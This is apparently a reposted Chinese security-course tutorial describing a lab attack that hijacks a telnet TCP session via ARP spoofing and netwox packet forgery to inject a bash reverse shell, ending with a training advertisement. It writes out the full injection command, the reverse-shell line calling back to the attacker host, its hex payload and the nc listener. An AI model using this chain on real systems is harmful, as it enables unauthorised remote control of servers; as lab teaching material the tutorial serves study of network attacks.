网安教育
培养网络安全人才
技术交流、学习咨询
1
实验环境
1.kali linux ;kali linux 介绍
kali linux 的安装过程及解决问题方法
2.ubuntu虚拟机 两台 //其他的如Redhat 、centos也可以
2
TCP劫持
TCP劫持的前提是需要获取到通信双方的TCP流量的数据包。
如果不知道数据包的情况下,会形成ack风暴;
形成ACK风暴的原因:
解决方法:
TCP劫持攻击原理描述如下图描述所示:
为了进一步达到攻击服务器后的其他效果 可以使用反弹shell结合TCP会话劫持来达到目的
3
反弹shell
反弹shell的原理:
1. 关于反弹shell
2. 反弹shell的原因
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2)它的ip会动态改变,你不能持续控制。
3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
1**那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。**
在以下的场景中可以使用TCP会话劫持和反弹shell达到攻击数据sever的目的。
实现概述:反向shell的注入 就是在TCP劫持攻击的时候将数据换成反向shell的命令;如上图中利用通过会话劫持 取得server和数据server的会话 向数据server 发送给修改后的反向shell数据包,从而使得数据server主动向攻击者建立连接 从而实现破坏
4
实验过程
模拟过程中:kali 地址为192.168.247.128;服务器为192.168.247.130;数据服务器为:192.168.247.130
1、获取数据包
利用ARP欺骗攻击来使得获取通信双方数据包
ARP欺骗攻击<https://blog.csdn.net/csdn10086110/article/details/104987216>
2、模拟产生TCP会话
地址 130 telnet 129
3、在kali上抓取数据包
找到数据server给server的最后一个回包
4、利用netwox工具伪造包
1Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] [-a spoofip] [-J uint32] [-K uint32] [-L uint32] [-M uint32] [-N uint32]
2Parameters:
3-c|–ip4-tos uint32 IP4 tos {0}
4-e|–ip4-id uint32 IP4 id (rand if unset) {0}
5-f|–ip4-reserved|+f|–no-ip4-reserved IP4 reserved
6-g|–ip4-dontfrag|+g|–no-ip4-dontfrag IP4 dontfrag
7-h|–ip4-morefrag|+h|–no-ip4-morefrag IP4 morefrag
8-i|–ip4-offsetfrag uint32 IP4 offsetfrag {0} //ipv4是否存在片偏移
9-j|–ip4-ttl uint32 IP4 ttl {0} //TTL值
10-k|–ip4-protocol uint32 IP4 protocol {0} //TCP协议号
11-l|–ip4-src ip IP4 src {192.168.149.128}
12-m|–ip4-dst ip IP4 dst {5.6.7.8}
13-n|–ip4-opt ip4opts IPv4 options
14-o|–tcp-src port TCP src {1234}
15-p|–tcp-dst port TCP dst {80}
16-q|–tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
17-r|–tcp-acknum uint32 TCP acknum {0}
18-s|–tcp-reserved1|+s|–no-tcp-reserved1 TCP reserved1
19-t|–tcp-reserved2|+t|–no-tcp-reserved2 TCP reserved2
20-u|–tcp-reserved3|+u|–no-tcp-reserved3 TCP reserved3
21-v|–tcp-reserved4|+v|–no-tcp-reserved4 TCP reserved4
22-w|–tcp-cwr|+w|–no-tcp-cwr TCP cwr
23-x|–tcp-ece|+x|–no-tcp-ece TCP ece
24-y|–tcp-urg|+y|–no-tcp-urg TCP urg
25-z|–tcp-ack|+z|–no-tcp-ack TCP ack
26-A|–tcp-psh|+A|–no-tcp-psh TCP psh
27-B|–tcp-rst|+B|–no-tcp-rst TCP rst
28-C|–tcp-syn|+C|–no-tcp-syn TCP syn
29-D|–tcp-fin|+D|–no-tcp-fin TCP fin
30-E|–tcp-window uint32 TCP window {0}
31-F|–tcp-urgptr uint32 TCP urgptr {0}
32-G|–tcp-opt tcpopts TCP options
33-H|–tcp-data mixed_data mixed data
34-a|–spoofip spoofip IP spoof initialization type {best}
35-J|–ip4-ihl uint32 IP4 ihl {5}
36-K|–ip4-totlen uint32 IP4 totlen {0}
37-L|–ip4-checksum uint32 IP4 checksum {0}
38-M|–tcp-doff uint32 TCP data offset {0}
39-N|–tcp-checksum uint32 TCP checksum {0}
配置示例:
如果配置 --ip4-opt opition 后边需要配置参数
1sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址 --ip4-dst
2IP地址 --tcp-src 源端口 --tcp-dst 目的端口 --tcp-seqnum 数值 --tcp-acknum 数值
3 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data "注入代码"
根据最后一个数据包进行伪造数据包
则根据实验数据:
1sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data “代码”
反射shell语句
其中代码为反射shell的语句:
1bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
2其中192.168.247.128为kali的IP地址
bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
11. Bash –i 即产生一个bash交互环境
2
32. >&
4
5 1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件
6
7 2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
8
9 3. /dev/tcp/192.168.247.128/8888 让数据server与kali主机进行tcp连接,端口为8888(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)
10
11 >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的kali主机上,此时如果kali主机正在监听相应的端口,就会收到数据server的bash的标准输出和标准错误输出
12
13 4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到kali主机了,添加这一部分是因为如果没有这一部分,在kali主机上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在kali主机看来,就相当于拿到了数据server的shell
1注: 0 - stdin 代表标准输入,使用<或<<
2
3 1 - stdout 代表标准输出,使用>或>>
4
5 2 - stderr 代表标准错误输出,使用2>或2>>)
想了解反弹shell语句的内容可以点击蓝字:
网络安全&反弹shell?<https://blog.csdn.net/csdn10086110/article/details/104985213>
字符转换
字符在线转换为16进制<http://www.3464.com/tools/StrToHex/JiaMi.asp>
则最后的攻击语句为:
162617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
2//攻击代码转换后的16机制值,0d00是后添加的0d r 为回到首行 00 是n 为换行
1sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src
2192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
5.开启端口监视
就是在攻击者的主机上进行监视反弹shell中的端口
1nc -lp 8888 -vvv
1-l 进入监听模式
2-v 进入"啰嗦模式",这将会显示很多有用的信息。使用多个(-vv,-vvv…)进入更"啰嗦"的模式。
3-p 设置要绑定的端口号
更多关于nc工具的使用 可以参考下边文献:
NC工具的使用<https://blog.csdn.net/csdn10086110/article/details/104987098>
6.攻击
反射shell 模拟成功。
文:时不我待
转自:https://blog.csdn.net/csdn10086110/article/details/104983528
如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):网络安全&TCP劫持实现反弹shell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论